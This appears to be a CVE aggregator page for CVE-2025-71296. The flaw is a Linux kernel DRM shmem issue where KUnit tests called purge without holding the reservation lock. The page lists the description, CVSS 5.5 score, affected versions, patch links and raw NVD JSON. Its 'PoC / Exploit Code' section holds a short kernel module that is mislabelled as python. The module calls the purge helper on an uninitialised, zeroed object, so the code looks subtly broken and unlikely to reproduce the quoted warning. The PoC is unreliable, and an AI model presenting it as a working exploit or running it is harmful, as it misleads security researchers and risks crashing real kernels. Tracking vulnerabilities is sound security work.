CVE-2025-71296

Description

In the Linux kernel, the following vulnerability has been resolved: drm/tests: shmem: Hold reservation lock around purge Acquire and release the GEM object's reservation lock around calls to the object's purge operation. The tests use drm_gem_shmem_purge_locked(), which led to errors such as show below. [ 58.709128] WARNING: CPU: 1 PID: 1354 at drivers/gpu/drm/drm_gem_shmem_helper.c:515 drm_gem_shmem_purge_locked+0x51c/0x740 Only export the new helper drm_gem_shmem_purge() for Kunit tests. This is not an interface for regular drivers.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Specific versions before commit 3f41307d589c2f25d556d47b165df808124cd0c4)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// SPDX-License-Identifier: GPL-2.0
// PoC for CVE-2025-71296: Triggering purge without reservation lock
#include <linux/module.h>
#include <drm/drm_gem_shmem_helper.h>

static int __init poc_init(void)
{
    struct drm_gem_shmem_object *shmem;
    
    // Simplified reproduction logic
    shmem = kzalloc(sizeof(*shmem), GFP_KERNEL);
    if (!shmem)
        return -ENOMEM;

    // Vulnerability: Calling purge without holding reservation lock
    // This triggers the WARNING mentioned in the CVE
    drm_gem_shmem_purge_locked(shmem); 

    kfree(shmem);
    return 0;
}

static void __exit poc_exit(void) {}

module_init(poc_init);
module_exit(poc_exit);
MODULE_LICENSE("GPL");

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71296
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71296
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71296/
[4] VulDB https://vuldb.com/cve/CVE-2025-71296
[5] https://git.kernel.org/stable/c/3f41307d589c2f25d556d47b165df808124cd0c4
[6] https://git.kernel.org/stable/c/8baeee2c1c0cdb3a8eac3b8f38156cce6ee1a69f
[7] https://git.kernel.org/stable/c/cdf8bbbd9017adcfb91ad9a902198d4b507719a9

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-71296", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:30.887", "lastModified": "2026-05-14T19:21:57.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/tests: shmem: Hold reservation lock around purge\n\nAcquire and release the GEM object's reservation lock around calls\nto the object's purge operation. The tests use\ndrm_gem_shmem_purge_locked(), which led to errors such as show below.\n\n[ 58.709128] WARNING: CPU: 1 PID: 1354 at drivers/gpu/drm/drm_gem_shmem_helper.c:515 drm_gem_shmem_purge_locked+0x51c/0x740\n\nOnly export the new helper drm_gem_shmem_purge() for Kunit tests.\nThis is not an interface for regular drivers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4562EDA-AFEA-4C62-97CC-C83E109A5F19"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3f41307d589c2f25d556d47b165df808124cd0c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8baeee2c1c0cdb3a8eac3b8f38156cce6ee1a69f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cdf8bbbd9017adcfb91ad9a902198d4b507719a9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}